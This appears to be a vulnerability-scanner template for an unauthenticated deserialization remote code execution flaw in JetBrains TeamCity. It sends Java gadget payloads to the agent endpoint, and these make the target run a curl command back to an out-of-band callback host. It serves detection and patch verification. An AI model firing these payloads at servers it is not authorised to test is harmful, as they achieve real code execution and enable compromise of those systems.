JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution

id: CVE-2026-63077

info:
  name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unauthenticated access via the agent polling protocol, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 2026.1.3, 2025.11.7 or later.
  reference:
    - https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
    - https://www.rapid7.com/blog/post/etr-cve-2026-63077-critical-unauthenticated-remote-code-execution-in-jetbrains-teamcity/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-63077
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-63077
    cwe-id: CWE-502
    epss-score: 0.0101
    epss-percentile: 0.59837
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: jetbrains
    product: teamcity
    shodan-query: title:"TeamCity"
    fofa-query: title="TeamCity"
  tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,oast,intrusive,vkev

flow: http(1) && (http(2) || http(3) || http(4))

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "TeamCity", "teamcity", "JetBrains")'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/agents/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream
        User-Agent: TeamCity Agent/2026.1

        {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_any(interactsh_protocol, "dns", "http")'
        condition: and

  - raw:
      - |
        POST /app/agents/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream
        User-Agent: TeamCity Agent/2026.1

        {{generate_java_gadget("commons-collections3.1", "curl http://{{interactsh-url}}/cc31-rce", "raw")}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_any(interactsh_protocol, "dns", "http")'
        condition: and

  - raw:
      - |
        POST /app/agents/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream
        User-Agent: TeamCity Agent/2026.1

        {{generate_java_gadget("groovy1", "curl http://{{interactsh-url}}/groovy-rce", "raw")}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_any(interactsh_protocol, "dns", "http")'
        condition: and
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